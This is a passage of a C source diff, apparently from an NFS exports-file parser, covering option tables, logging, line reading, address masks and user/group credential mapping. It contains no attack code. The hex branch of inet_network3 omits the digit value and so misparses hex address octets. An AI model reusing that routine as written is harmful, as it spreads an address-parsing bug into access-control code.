OPTS_INDEX, parse_opt_index }, + { "m", OPTS_MASK_C, parse_opt_mask }, + { "mapall", OPTS_MAPALL, parse_opt_cred }, + { "maproot", OPTS_MAPROOT, parse_opt_cred }, + { "mask", OPTS_MASK, parse_opt_mask }, + { "n", OPTS_NETWORK_C, parse_opt_network }, + { "network", OPTS_NETWORK, parse_opt_network }, + { "no_mntproc_dump", OPT_NO_MNT_DMP, NULL }, + { "no_mntproc_export", OPT_NO_MNT_EXP, NULL }, + { "nospec", OPT_NOSPEC, parse_opt_nospec }, + { "o", OPTS_RO_C, parse_opt_ro_rw }, + { "public", OPT_PUBLIC, parse_opt_public }, + { "quiet", OPT_QUIET, NULL }, + { "r", OPTS_MAPROOT_C, parse_opt_cred }, + { "ro", OPT_RO, parse_opt_ro_rw }, + { "root", OPTS_MAPROOT_C, parse_opt_cred }, + { "rw", OPT_RW, parse_opt_ro_rw }, + { "sec", OPTS_SEC, parse_opt_sec }, + { "webnfs", OPTS_WEBNFS, parse_opt_public } +}; + +#define OPT_DESCR_TBL_SIZE (sizeof(opt_descr_tbl) / sizeof(opt_descr_tbl[0])) + +/* + * One exports file or directory with exports files. + */ +struct exp_file { + const char *name; /* File name. */ + int isfile; /* Non-zero if this is a file. */ +}; + +static int exp_file_num; /* Number of exports files. */ +static struct exp_file *exp_file_arr; /* Array of exports files. */ + +static u_int exp_cmd_num = 0; /* Number of -c options. */ +static char **exp_cmd_arr = NULL; /* -c options arguments. */ + +/* Default exports file. */ +static struct exp_file exp_file_arr_def = { + .name = _PATH_EXPORTS, + .isfile = 1 +}; + +static const char *exp_file_name; /* Current exports file name. */ + +#define LINEBUF_SIZE 128 /* Initial size for linebuf (> 2). */ +#define LINEBUF_MAX 4096 /* Maximum size for linebuf. */ + +static char *linebuf; /* Current line buffer. */ +static size_t linesize; /* Size of linebuf. */ +static u_int lineno; /* Current line number. */ + +static char file_is_parsed; /* Non-zero if file is parsed. */ +static char log_to_console = 0; /* Write log messages to console. */ + +/* + * If current option is -network, then this flag is set. + * It is cleared by any other option. It is used in parse_opts() for + * checking whether -mask is specified exactly after -network. + */ +static char opt_network; + +/* + * This flag is set if parse_opts() saw -network or -host option or + * if parse_hosts() saw at least one host. If there were these options, + * then address specification related flags are allowed to be changed. + * This flag is cleared in parse_opts() by any other option specified + * right after address specification. + */ +static char saw_addr_spec; + +/* + * This flag is set if there is -public or -webnfs option. + * Only one file system can be public. + */ +static char opt_public; + +/* This flag is set if there is '!' in address specification. */ +static char opt_deny; + +/* + * Current option flags are saved in oflags. If there is a new address + * specification in a line, then previous address specification related + * option flags are cleared in oflags. All current option flags are + * saved in oflagsall. + */ +static uint32_t oflags; +static uint32_t oflagsall; + +/* + * Command option for all export specifications in the current file and + * flag that says that ocmd has a value. These variables are used for + * implementation of "-c add|delete -f file" options. + */ +static uint32_t ocmd; +static char ocmd_set; + +/* + * Global option flags, local options in oflags and oflagsall overwrite + * global options. + */ +static uint32_t goflags; + +static u_int addr_spec_family; /* AF_INET or AF_INET6. */ +static struct addr_spec *addr_spec; /* Current address spec. */ +static struct fs_exp *fs_exp; /* Current fs_exp. */ +static struct cred_exp *cred_exp; /* Current credentials. */ +static struct secflavors *secflavors; /* Current -sec option. */ +static struct secflavors *gsecflavors; /* Global -sec option. */ + +/* Global list of all credential specifications. */ +static LIST_HEAD(, cred_exp) cred_exp_list = + LIST_HEAD_INITIALIZER(&cred_exp_list); + +/* Global list of all addr_spec structure for IPv4. */ +static struct addr_spec_list addr4_spec_list = + LIST_HEAD_INITIALIZER(&addr4_spec_list); + +/* Global list of all addr_spec structures for IPv6. */ +static struct addr_spec_list addr6_spec_list = + LIST_HEAD_INITIALIZER(&addr6_spec_list); + +/* Global list of all security flavors. */ +static LIST_HEAD(, secflavors) secflavors_list = + LIST_HEAD_INITIALIZER(&secflavors_list); + +/* Default anonymous export credentials. */ +static struct cred_exp cred_exp_anon_def = { + .uid = (uid_t)-2, + .ngids = 1, + .gids = { (gid_t)-2 }, + .ref_count = 1 +}; + +/* Default security flavors. */ +static struct secflavors secflavors_def = { + .nsec = 1, + .sec = { AUTH_SYS }, + .ref_count = 1 +}; + +#define LOG_BUF_SIZE 256 /* Size of buffer in vlog*(). */ +#define LOGMSG_WARN (-EPERM) /* Anything non-zero and non-Error. */ + +static void (*log_err)(const char *, ...) __printflike(1, 2); +static void (*log_warn)(const char *, ...) __printflike(1, 2); + +static void logmsg(const char *, ...) __printflike(1, 2); +static void logmsgx(const char *, ...) __printflike(1, 2); +static void logmsgw(const char *, ...) __printflike(1, 2); +static void logconfe(const char *, ...) __printflike(1, 2); +static void logconfw(const char *, ...) __printflike(1, 2); +static void logconfx(const char *, ...) __printflike(1, 2); + +static int Asprintf(char **, const char *, ...) __printflike(2, 3); + +/* + * These functions are wrappers for the corresponding real functions. + * If real functions fail, then syserr_flag is set. + */ +static void * +Malloc(size_t size) +{ + void *ptr; + + ptr = malloc(size); + if (ptr == NULL) + syserr_flag = 1; + return (ptr); +} + +static void * +Realloc(void *ptr, size_t size) +{ + ptr = realloc(ptr, size); + if (ptr == NULL) + syserr_flag = 1; + return (ptr); +} + +static char * +Strdup(const char *str) +{ + char *ptr; + + ptr = strdup(str); + if (ptr == NULL) + syserr_flag = 1; + return (ptr); +} + +static int +Asprintf(char **ret, const char *format, ...) +{ + va_list ap; + int rv; + + va_start(ap, format); + rv = vasprintf(ret, format, ap); + va_end(ap); + if (rv < 0) + syserr_flag = 1; + return (rv); +} + +static int +Fclose(FILE *fp) +{ + int rv; + + rv = fclose(fp); + if (rv != 0) + syserr_flag = 1; + return (rv); +} + +static int +Fstat(int fd, struct stat *statbuf) +{ + if (fstat(fd, statbuf) < 0) { + syserr_flag = 1; + return (-1); + } + return (0); +} + +/* + * Log an error message. If code is not equal to zero, + * then output corresponding message for error code as well. + */ +static void +vlogmsg_generic(const int config_flag, int code, const char *format, + va_list ap) +{ + const char *msg, *err_pre, *err_msg, *type_msg; + char *msg0; + int rv, errno_save, type_pri; + char buf[LOG_BUF_SIZE]; + + errno_save = errno; + msg0 = NULL; + + rv = vsnprintf(buf, sizeof(buf), format, ap); + if (rv < 0) + msg = "(vlogmsg_generic: vsnprintf failed)"; + else if (rv < LOG_BUF_SIZE) + msg = buf; + else { + msg0 = malloc(++rv); + if (msg0 == NULL) + msg = "(vlogmsg_generic: malloc failed)"; + else { + if (vsnprintf(msg0, rv, format, ap) < 0) { + free(msg0); + msg0 = NULL; + msg = "(vlogmsg_generic: vsnprintf failed)"; + } else + msg = msg0; + } + } + + if (code == LOGMSG_WARN) { + code = 0; + type_pri = LOG_WARNING; + type_msg = "warning"; + } else { + type_pri = LOG_ERR; + type_msg = "error"; + } + if (code == 0) + err_pre = err_msg = ""; + else { + err_pre = ": "; + err_msg = strerror(code); + } + + if (config_flag) { + if (log_to_console) + fprintf(stderr, "parsing %s: %s:%u: %s%s%s\n", + type_msg, exp_file_name, lineno, msg, + err_pre, err_msg); + else + syslog(type_pri, "parsing %s: %s:%u: %s%s%s", + type_msg, exp_file_name, lineno, msg, + err_pre, err_msg); + } else { + if (log_to_console) + fprintf(stderr, "%s%s%s\n", msg, err_pre, err_msg); + else + syslog(type_pri, "%s%s%s", msg, err_pre, err_msg); + } + + free(msg0); + errno = errno_save; +} + +static void +vlogmsg(const int code, const char *format, va_list ap) +{ + vlogmsg_generic(0, code, format, ap); +} + +/* + * Log an error message with corresponding error message for errno. + */ +static void +logmsg(const char *format, ...) +{ + va_list ap; + + va_start(ap, format); + vlogmsg(errno, format, ap); + va_end(ap); +} + +/* + * Log an error message. + */ +static void +logmsgx(const char *format, ...) +{ + va_list ap; + + va_start(ap, format); + vlogmsg(0, format, ap); + va_end(ap); +} + +/* + * Log a warning message. + */ +static void +logmsgw(const char *format, ...) +{ + va_list ap; + + va_start(ap, format); + vlogmsg(LOGMSG_WARN, format, ap); + va_end(ap); +} + +static void +vlogconfe(const int code, const char *format, va_list ap) +{ + vlogmsg_generic(1, code, format, ap); +} + +/* + * Log an error message during configuration with corresponding + * error message for errno. + */ +static void +logconfe(const char *format, ...) +{ + va_list ap; + + va_start(ap, format); + vlogconfe(errno, format, ap); + va_end(ap); +} + +/* + * Log an error message during configuration. + */ +static void +logconfx(const char *format, ...) +{ + va_list ap; + + va_start(ap, format); + vlogconfe(0, format, ap); + va_end(ap); +} + +/* + * Log a warning message. + */ +static void +logconfw(const char *format, ...) +{ + va_list ap; + + va_start(ap, format); + vlogconfe(LOGMSG_WARN, format, ap); + va_end(ap); +} + +/* + * Remember list of exports files/directories and recognize what is + * a file and what is a directory from the configuration point of view. + */ +int +set_exp_file(const int argc, char **argv) +{ + const char *ptr; + size_t len; + int i; + + if (exp_cmd_arr != NULL) { + if (argc != 0) { + warnx("exports file(s) cannot be used together " + "with -c option(s)"); + return (-1); + } + exp_file_num = 0; + return (0); + } + + if (argc == 0) { + exp_file_arr = &exp_file_arr_def; + exp_file_num = 1; + return (0); + } + + exp_file_arr = malloc(argc * sizeof(*exp_file_arr)); + if (exp_file_arr == NULL) { + warn("set_exp_file: malloc"); + return (-1); + } + for (i = 0; i < argc; ++i) { + exp_file_arr[i].name = ptr = argv[i]; + len = strlen(ptr); + exp_file_arr[i].isfile = + (len > 0 && ptr[len - 1] == '/') ? 0 : 1; + } + exp_file_num = argc; + return (0); +} + +/* + * Remember -c option's argument. + */ +int +add_exp_cmd(char *str) +{ + exp_cmd_arr = realloc(exp_cmd_arr, + ++exp_cmd_num * sizeof(*exp_cmd_arr)); + if (exp_cmd_arr == NULL) { + warn("add_exp_cmd: realloc"); + return (-1); + } + exp_cmd_arr[exp_cmd_num - 1] = str; + return (0); +} + +/* + * Pack data in a string, removing escape sequences. + * This function fails if some escape sequence is wrong. + */ +static int +remove_escapes(char *s) +{ + const char *ptr; + char *mod; + u_int x1, x2, x3; + + for (ptr = mod = s; *ptr != '\0'; ++mod) + if (*ptr != '\\') { + *mod = *ptr; + ++ptr; + } else { + ++ptr; + if (ptr[0] == '\0' || ptr[1] == '\0' || + ptr[2] == '\0' || !isdigit(ptr[0]) || + !isdigit(ptr[1]) || !isdigit(ptr[2])) { + logconfx("three octal digits are expected " + "after '\\'"); + return (-1); + } + x1 = ptr[0] - '0'; + x2 = ptr[1] - '0'; + x3 = ptr[2] - '0'; + if (x1 > 7 || x2 > 7 || x3 > 7) { + logconfx("non-octal digit after '\\'"); + return (-1); + } + x3 += x1 * 64 + x2 * 8; + if (x3 > UCHAR_MAX) { + logconfx("too big value %u for one character " + "representation", x3); + return (-1); + } + *mod = (u_char)x3; + ptr += 3; + } + *mod = '\0'; + return (0); +} + +/* + * Build readable representation of address specification. + * x.x.x.x or x:x... for host address and x.x.x.x/y or x:x.../y for network. + * This function is non-reentrant, since works with one buffer. + */ +char * +addr_spec_str(const u_int family, const struct addr_spec *as) +{ + static char repres[INET6_ADDRSTRLEN + 3]; + + const void *addr; + + if (family == AF_INET) + addr = &ADDR4_SPEC_CPTR(as)->addr; + else + addr = &ADDR6_SPEC_CPTR(as)->addr; + if (inet_ntop(family, addr, repres, INET6_ADDRSTRLEN) != NULL) { + if (as->maskbits != 0) { + char *ptr; + + ptr = strchr(repres, '\0'); + sprintf(ptr, "/%u", as->maskbits); + } + } else { + repres[0] = '?'; + repres[1] = '\0'; + } + return (repres); +} + +/* + * Compare two addresses. + */ +int +addrcmp(const uint8_t *a1, const uint8_t *a2, const u_int len) +{ + u_int i; + + for (i = 0; i < len; ++i) + if (a1[i] != a2[i]) + return (1); + return (0); +} + +/* + * Turn off bits in addr, which are not present in mask. + */ +static void +correct_network(uint8_t *addr, const uint8_t *mask, const u_int len) +{ + u_int i; + + for (i = 0; i < len; ++i) + *addr++ &= *mask++; +} + +/* + * Check whether the error (the errno value) is equal to something + * that can be corrected in a file system. + */ +int +crit_fs_err(const int error) +{ + switch (error) { + case ELOOP: + case ENOENT: + case ENOTDIR: + case ENAMETOOLONG: + return (0); + } + syserr_flag = 1; + return (1); +} + +/* + * find_*() functions find similar structures in the appropriate list. + * If a similar structure does not exist, then create a new one and link + * it to the appropriate list. A new or existed structure does not + * get a new reference. + */ +static struct cred_exp * +find_cred_exp(const uid_t uid, const u_int ngids, const gid_t *gids) +{ + struct cred_exp *ce; + u_int i; + + /* Find duplicate. */ + LIST_FOREACH(ce, &cred_exp_list, link) + if (ce->uid == uid && ce->ngids == ngids) { + for (i = 0; i < ngids; ++i) + if (ce->gids[i] != gids[i]) + break; + if (i == ngids) + return (ce); + } + + /* Allocate a new one. */ + ce = Malloc(sizeof(*ce)); + if (ce == NULL) { + log_err("find_cred_exp: malloc"); + return (NULL); + } + LIST_INSERT_HEAD(&cred_exp_list, ce, link); + ce->uid = uid; + ce->ngids = ngids; + for (i = 0; i < ngids; ++i) + ce->gids[i] = gids[i]; + ce->ref_count = 0; + return (ce); +} + +static struct secflavors * +find_secflavors(const u_int nsec, const int *sec) +{ + struct secflavors *sf; + u_int i; + + /* Find duplicate. */ + LIST_FOREACH(sf, &secflavors_list, link) + if (sf->nsec == nsec) { + for (i = 0; i < nsec; ++i) + if (sf->sec[i] != sec[i]) + break; + if (i == nsec) + return (sf); + } + + /* Allocate a new one. */ + sf = Malloc(sizeof(*sf)); + if (sf == NULL) { + log_err("find_secflavors: malloc"); + return (NULL); + } + LIST_INSERT_HEAD(&secflavors_list, sf, link); + sf->nsec = nsec; + for (i = 0; i < nsec; ++i) + sf->sec[i] = sec[i]; + sf->ref_count = 0; + return (sf); +} + +static struct addr_spec * +find_addr_spec(const u_int family, const int net_flag, struct addr_spec *as) +{ + struct addr_spec *as0; + u_int maskbits; + + maskbits = as->maskbits; + as->ref_count = 0; + + if (family == AF_INET) { + struct addr4_spec *as4; + + /* IPv4 address spec. */ + as4 = ADDR4_SPEC_PTR(as); + if (net_flag) { + /* Correct network according to mask spec. */ + correct_network((uint8_t *)&as4->addr, + (uint8_t *)&as4->mask, IPV4_ADDR_LEN); + } + + /* Try to find similar address spec. */ + LIST_FOREACH(as0, &addr4_spec_list, link) + if (as4->addr.s_addr == + ADDR4_SPEC_PTR(as0)->addr.s_addr && + maskbits == as0->maskbits) + break; + if (as0 == NULL) { + /* New address spec. */ + LIST_INSERT_HEAD(&addr4_spec_list, as, link); + } + } else { + struct addr6_spec *as6; + + /* IPv6 address spec. */ + as6 = ADDR6_SPEC_PTR(as); + if (net_flag) { + /* Correct network according to mask spec. */ + correct_network((uint8_t *)&as6->addr, + (uint8_t *)&as6->mask, IPV6_ADDR_LEN); + } + + /* Try to find similar address spec. */ + LIST_FOREACH(as0, &addr6_spec_list, link) + if (maskbits == as0->maskbits && + addrcmp((uint8_t *)&as6->addr, + (uint8_t *)&ADDR6_SPEC_PTR(as0)->addr, + IPV6_ADDR_LEN) == 0) + break; + if (as0 == NULL) { + /* New address spec. */ + LIST_INSERT_HEAD(&addr6_spec_list, as, link); + } + } + + if (as0 != NULL) { + /* Have found similar address spec. */ + free(as); + as = as0; + } + + return (as); +} + +/* + * Insert fs_exp to the given fs_exp_list in alphabetical order. + */ +static void +link_fs_exp(struct fs_exp_list *fe_list, struct fs_exp *fe) +{ + struct fs_exp *fe0; + + TAILQ_FOREACH(fe0, fe_list, link) + if (strcmp(fe0->path, fe->path) > 0) { + TAILQ_INSERT_BEFORE(fe0, fe, link); + return; + } + TAILQ_INSERT_TAIL(fe_list, fe, link); +} + +/* + * Increase no_mnt_exp value in fs_exp structure according to flags. + */ +static void +inc_no_mnt_exp(struct fs_exp *fe, const uint32_t flags) +{ + if (flags & OPT_NO_MNT_EXP) + fe->no_mnt_exp++; +} + +/* + * Decrease no_mnt_exp value in fs_exp structure according to flags. + */ +static void +dec_no_mnt_exp(struct fs_exp *fe, const uint32_t flags) +{ + if (flags & OPT_NO_MNT_EXP) + fe->no_mnt_exp--; +} + +/* + * Initialize fields in fs_exp (path field must be set before). + */ +static void +init_fs_exp(struct fs_exp *fe) +{ + fe->path_len = strlen(fe->path); + fe->oflags = 0; + fe->ae_def = NULL; + TAILQ_INIT(&fe->ae4_list); + TAILQ_INIT(&fe->ae6_list); + fe->nspec = 0; + fe->no_mnt_exp = 0; + LIST_INIT(&fe->mh4_list); + LIST_INIT(&fe->mh6_list); +} + +/* + * Release memory used by all addr_exp structures from the given list, + * dropping references for all referenced structures. + */ +static void +free_addr_exp_list(struct addr_exp_list *ae_list) +{ + struct addr_exp *ae, *ae_next; + + TAILQ_FOREACH_SAFE(ae, ae_list, link, ae_next) { + if (ae->addr_spec != NULL) + ae->addr_spec->ref_count--; + if (ae->cred_exp != NULL) + ae->cred_exp->ref_count--; + if (ae->secflavors != NULL) + ae->secflavors->ref_count--; + free(ae); + } +} + +/* + * Release memory used by one fs_exp, also unlink it from the list. + */ +static void +free_fs_exp(struct fs_exp_list *fe_list, struct fs_exp *fe) +{ + free(fe->path); + if (fe->ae_def != NULL) { + if (fe->ae_def->cred_exp != NULL) + fe->ae_def->cred_exp->ref_count--; + if (fe->ae_def->secflavors != NULL) + fe->ae_def->secflavors->ref_count--; + free(fe->ae_def); + } + free_addr_exp_list(&fe->ae4_list); + free_addr_exp_list(&fe->ae6_list); + mntlist_free_mh_list(&fe->mh4_list); + mntlist_free_mh_list(&fe->mh6_list); + TAILQ_REMOVE(fe_list, fe, link); + free(fe); +} + +/* + * Release memory used by the given file systems export list. + */ +void +free_fs_exp_list(struct fs_exp_list *fe_list) +{ + struct fs_exp *fe, *fe_next; + + TAILQ_FOREACH_SAFE(fe, fe_list, link, fe_next) + free_fs_exp(fe_list, fe); +} + +/* + * If some structure does not have any references, then remove it + * from the appropriate list and release its memory. + */ +void +free_unref_conf(void) +{ + struct addr_spec_list *as_list; + struct cred_exp *ce, *ce_next; + struct addr_spec *as, *as_next; + struct secflavors *sf, *sf_next; + + LIST_FOREACH_SAFE(ce, &cred_exp_list, link, ce_next) + if (ce->ref_count == 0) { + LIST_REMOVE(ce, link); + free(ce); + } + + for (as_list = &addr4_spec_list;;) { + LIST_FOREACH_SAFE(as, as_list, link, as_next) + if (as->ref_count == 0) { + LIST_REMOVE(as, link); + free(as); + } + if (as_list == &addr6_spec_list) + break; + as_list = &addr6_spec_list; + } + + LIST_FOREACH_SAFE(sf, &secflavors_list, link, sf_next) + if (sf->ref_count == 0) { + LIST_REMOVE(sf, link); + free(sf); + } +} + +/* + * Some file systems can have wrong configuration, remove them. + */ +static void +free_wrong_conf(void) +{ + struct fs_exp_list *fe_list; + struct fs_exp *fe, *fe_next; + + fe_list = fs_exp_list; + TAILQ_FOREACH_SAFE(fe, fe_list, link, fe_next) + if (fe->oflags & OPT_ERRCONFIG) + free_fs_exp(fe_list, fe); +} + +/* + * Check that the given mask is a valid network mask. Returns 0 if + * the mask is acceptable (i.e. its binary form is 1...10...0). + * In *maskbitsp return number of bits in a mask. + */ +static int +check_mask(const uint8_t *mask, const u_int len, u_int *maskbitsp) +{ + u_int i, maskbits; + + /* First byte should not be 0. */ + if (mask[0] == 0) + return (-1); + + maskbits = 0; + + /* Find first non 11..1 byte. */ + for (i = 0; i < len; ++i) { + if (mask[i] != UINT8_MAX) + break; + maskbits += 8; + } + + /* Check for 11..10..0 byte. */ + if (i < len) { + if (mask[i] != 0) { + if ((uint8_t)~mask[i] & (uint8_t)(~mask[i] + 1)) + return (-1); + maskbits += 8 + 1 - ffs(mask[i]); + } + ++i; + } + + /* Rest of bytes should be equal to zero. */ + for (; i < len; ++i) + if (mask[i] != 0) + return (-1); + + *maskbitsp = maskbits; + + return (0); +} + +/* + * Make a network mask according to the specified prefix length, + * len is the length of mask in bytes, maskbits is the length + * of the prefix in bits. + */ +static int +make_mask(uint8_t *mask, const u_int len, u_int maskbits) +{ + u_int i, n; + + if (maskbits > len * 8 || maskbits == 0) + return (-1); + + n = maskbits / 8; + for (i = 0; i < n; ++i) + mask[i] = UINT8_MAX; + + maskbits %= 8; + if (maskbits != 0) { + mask[i] = ~((1 << (8 - maskbits)) - 1); + ++i; + } + + for (; i < len; ++i) + mask[i] = 0; + + return (0); +} + +/* + * Read one line (honoring line continuation characters). + * Return: + * 1 -- if line was successfully read; + * -1 -- if some error occurred; + * 0 -- if EOF occurred. + */ +static int +read_line(FILE *fp) +{ + char *ptr; /* Start in linebuf. */ + size_t navail; /* Available space in linebuf. */ + size_t nread; /* How many bytes have been read. */ + size_t len; /* Length of read string. */ + int is_cont; /* Non-zero if line is continued. */ + + ptr = linebuf; + navail = linesize; + nread = 0; + is_cont = 0; + + for (;;) { + if (fgets(ptr, (int)navail, fp) == NULL) { + if (feof(fp)) { + ++lineno; + break; + } + logconfe("read_line: fgets(%s)", exp_file_name); + syserr_flag = 1; + return (-1); + } + + len = strlen(ptr); + if (len == 0) { + /* Nothing was read, repeat again. */ + continue; + } + + nread += len; + if (linebuf[nread - 1] == '\n') { + ++lineno; + --nread; + if (!is_cont) { + /* Check for comment. */ + if (linebuf[0] == '#') + return (1); + } + if (nread > 0 && linebuf[nread - 1] == '\\') { + /* Line is continued in next line. */ + is_cont = 1; + --nread; + } else { + /* One non-last line was read. */ + linebuf[nread] = '\0'; + return (1); + } + } + navail = linesize - nread; + /* Can call fgets() if can read >= 2 chars. */ + if (navail >= 2) { + ptr = linebuf + nread; + continue; + } + + /* Increase linebuf. */ + linesize *= 2; + if (linesize > LINEBUF_MAX) { + logconfx("read_line: too long configuration line " + "(more than %d)", LINEBUF_MAX); + return (-1); + } + ptr = Realloc(linebuf, linesize); + if (ptr == NULL) { + logconfe("read_line: realloc(%zu)", linesize); + return (-1); + } + linebuf = ptr; + ptr += nread; + navail = linesize - nread; + } + + if (nread > 0 && linebuf[nread - 1] == '\\') { + /* EOF and ...\ like line. */ + --nread; + linebuf[nread] = '\0'; + } + + return (nread > 0); +} + +/* + * Return address of the first non white space character in the given string. + */ +static char * +skip_spaces(char *str) +{ + for (;; ++str) + if (*str != ' ' && *str != '\t') + break; + return (str); +} + +/* + * Select a new field from the configuration line. + * On enter *beg is start for search. On exit *beg is the next after + * the next character after a new field if EOL is not reached, else + * *beg will point to last '\0' character in a line. Return start of + * a new field, which is finished by '\0'. + */ +static char * +select_field(char **beg) +{ + char *ptr, *start; + + start = ptr = skip_spaces(*beg); + + /* Find the end of a field and finish it with '\0'. */ + for (;; ++ptr) { + if (*ptr == ' ' || *ptr == '\t') { + *ptr = '\0'; + ++ptr; + break; + } else if (*ptr == '\0') + break; + } + + *beg = ptr; + + return (start); +} + +/* + * In the beginning of a line find a path (path is a string that begins + * with '/' character) and find or create appropriate fs_exp structure. + * On enter *beg0 is the start of search, on exit *beg0 is the next + * character after current field if EOL is not reached, or it points + * to last '\0' character in a line. + */ +static int +parse_dir(char **beg0, char **end0) +{ + struct fs_exp *fe; + const char *ptr; + char *beg, *end; + size_t len; + + end = *beg0; + beg = select_field(&end); + if (remove_escapes(beg) < 0) + return (-1); + + if (*beg != '/') { + logconfx("a directory name with absolute path is expected"); + return (-1); + } + + /* Validate length of directory. */ + len = end - beg; + if (*end != '\0') + --len; + if (len > RPCMNT_PATHLEN) { + logconfx("too long directory name %s (%zu > %u)", + beg, len, RPCMNT_PATHLEN); + return (-1); + } + + ptr = beg + len - 1; + + /* Check for /.. /. /../ and /./ in directory path. */ + if ((*ptr == '.' && (*(ptr - 1) == '/' || (*(ptr - 1) == '.' && + *(ptr - 2) == '/'))) || strstr(beg, "/../") != NULL || + strstr(beg, "/./") != NULL) { + logconfx("directory %s contains \"..\" or \".\" component, " + "this is not allowed", beg); + return (-1); + } + + /* Check for // inside and / at the end of directory path. */ + if ((*ptr == '/' && ptr != beg) || strstr(beg, "//") != NULL) { + logconfx("directory %s contains \"//\" inside or \"/\" " + "at the end, this is not allowed", beg); + return (-1); + } + + /* Find fs_exp. */ + fe = fs_exp_by_path(fs_exp_list, beg); + if (fe == NULL) { + /* New fs_exp. */ + if ((fe = Malloc(sizeof(*fe))) == NULL || + (fe->path = Strdup(beg)) == NULL) { + free(fe); + logconfe("parse_dir: malloc/strdup"); + return (-1); + } + init_fs_exp(fe); + link_fs_exp(fs_exp_list, fe); + } + + fs_exp = fe; + beg = select_field(&end); + *beg0 = beg; + *end0 = end; + + return (0); +} + +/* + * Parse an argument of -mapall and -maproot options. + */ +static int +parse_opt_cred(char *arg) +{ + gid_t gids[NGROUPS + 1]; + const struct group *grp; + const struct passwd *pwd; + const char *errstr; + char *ptr, *group_name; + uid_t uid; + int i, j, ngids; + + if (oflags & (OPT_MAPALL|OPT_MAPROOT)) { + logconfx("mix of -mapall and -maproot options is not allowed"); + return (-1); + } + + /* + * Valid credential combinations (a user can be a string or UID, + * a group can be a string or GID): + * user -- user with its groups; + * user: -- user with no groups; + * user:group:... -- user with the given groups. + */ + + if (strcmp(arg, "-2:-2") == 0) { + cred_exp = &cred_exp_anon_def; + return (0); + } + + group_name = strchr(arg, ':'); + if (group_name != NULL) + *group_name++ = '\0'; + + errno = 0; + pwd = getpwnam(arg); + if (pwd == NULL) { + if (errno != 0) { + logconfe("parse_opt_cred: getpwnam(%s)", arg); + return (-1); + } + if (isdigit(*arg) == 0) { + logconfx("cannot find user \"%s\"", arg); + return (-1); + } + uid = (uid_t)strtonum(arg, 0, UID_MAX, &errstr); + if (errstr != NULL) { + logconfx("cannot convert \"%s\" to UID: %s", arg, + errstr); + return (-1); + } + if (group_name == NULL) { + errno = 0; + pwd = getpwuid(uid); + if (pwd == NULL) { + if (errno != 0) + logconfe("parse_opt_cred: " + "getpwuid(%lu)", (u_long)uid); + else + logconfx("unknown user with UID %lu", + (u_long)uid); + return (-1); + } + } + uid = uid; + } else + uid = pwd->pw_uid; + + if (group_name == NULL) { + /* Groups are GIDs of the given user. */ + ngids = NGROUPS + 1; + if (getgrouplist(pwd->pw_name, pwd->pw_gid, gids, &ngids) < 0) { + logconfx("parse_opt_cred: not enough space for " + "getgrouplist"); + return (-1); + } + /* First GID is duplicated somewhere in gids[]. */ + --ngids; + for (i = 0; i < ngids; ++i) + gids[i] = gids[i + 1]; + goto done; + } + + if (*group_name == '\0') { + /* User with no groups. */ + ngids = 0; + goto done; + } + + /* Groups are specified as group1:group2:group3 */ + ngids = 0; + for (;;) { + ptr = strchr(group_name, ':'); + if (ptr != NULL) + *ptr++ = '\0'; + + errno = 0; + grp = getgrnam(group_name); + if (grp == NULL) { + if (errno != 0) { + logconfe("parse_opt_cred: getgrnam(%s)", + group_name); + return (-1); + } + if (isdigit(*group_name) == 0) { + logconfx("cannot find group \"%s\"", + group_name); + return (-1); + } + gids[ngids] = + (gid_t)strtonum(group_name, 0, GID_MAX, &errstr); + if (errstr != NULL) { + logconfx("cannot convert \"%s\" to GID: %s", + group_name, errstr); + return (-1); + } + } else + gids[ngids] = grp->gr_gid; + + group_name = ptr; + if (group_name == NULL) + break; + + if (++ngids == NGROUPS) { + logconfx("too many groups (more than %u) in " + "credential specification", NGROUPS); + return (-1); + } + } + ++ngids; +done: + /* Check for duplicates in gids[]. */ + for (i = 0; i < ngids; ++i) + for (j = i + 1; j < ngids; ++j) + if (gids[i] == gids[j]) { + logconfx("duplicated GID %lu in credentials", + (u_long)gids[i]); + return (-1); + } + + cred_exp = find_cred_exp(uid, ngids, gids); + if (cred_exp == NULL) + return (-1); + return (0); +} + +/* + * Parse an argument of the -index option. + */ +static int +parse_opt_index(char *arg) +{ + int error; + + if (!(oflags & OPT_PUBLIC)) { + logconfx("-index option should be used only after -public or " + "-webnfs option"); + return (-1); + } + + /* File name should not contain '/' and cannot be "." or "..". */ + error = strchr(arg, '/') != NULL; + if (error == 0 && arg[0] == '.') + switch (arg[1]) { + case '\0': + error = 1; + break; + case '.': + if (arg[2] == '\0') + error = 1; + break; + } + + if (error) { + logconfx("argument of -index option should be a file name, " + "not file pathname or directory"); + return (-1); + } + + index_webnfs = Strdup(arg); + if (index_webnfs == NULL) { + logconfe("parse_opt_index: strdup"); + return (-1); + } + + return (0); +} + +/* + * Similar to inet_network(3), but makes more check, can parse + * 255.255.255.255 and returns in nbytes number of specified + * bytes in IPv4 dot-notation address. Return -1 if cannot + * parse the given address, otherwise return 0. + */ +static int +inet_network3(const char *cp, in_addr_t *resp, u_int *nbytes) +{ + in_addr_t res, val; + u_int base, dots; + u_char c; + char got_data; + + res = 0; + dots = 0; + for (;;) { + val = 0; + got_data = 0; + if (*cp == '0') { + cp++; + if (*cp == 'x' || *cp == 'X') { + cp++; + base = 16; + } else { + base = 8; + got_data = 1; + } + } else + base = 10; + while ((c = *cp) != '\0') { + if (isdigit(c)) { + if (base == 8 && c > '7') + return (-1); + val = val * base + c - '0'; + } else if (base == 16 && isxdigit(c)) + val = (val << 4) + 10 - + (islower(c) ? 'a' : 'A'); + else + break; + if (val > 0xff) + return (-1); + cp++; + got_data = 1; + } + if (!got_data) + return (-1); + if (dots != 0) + res <<= 8; + res |= val; + if (c != '.') + break; + if (++dots == 4) + return (-1); + cp++; + } + if (c != '\0') + return (-1); + *resp = res; + *nbytes = dots + 1; + return (0); +} + +/* + * Apply options to the given export specification. + */ +static void +setopts_addr_exp(struct addr_exp *ae, const int net_flag) +{ + struct cred_exp *ce; + struct secflavors *sf; + uint32_t flags; + + ce = cred_exp == NULL ? &cred_exp_anon_def : cred_exp; + ae->cred_exp = ce; + ce->ref_count++; + sf = secflavors; + if (sf == NULL) + sf = gsecflavors != NULL ? gsecflavors : &secflavors_def; + ae->secflavors = sf; + sf->ref_count++; + if (ae->addr_spec != NULL) + flags = net_flag ? OPT_NETWORK : OPT_HOST; + else + flags = 0; + if (oflags & (OPT_RO|OPT_RW)) + flags |= oflags & (OPT_RO|OPT_RW); + else if (oflagsall & (OPT_RO|OPT_RW)) + flags |= oflagsall & (OPT_RO|OPT_RW); + else + flags |= OPT_RW; + if (oflags & 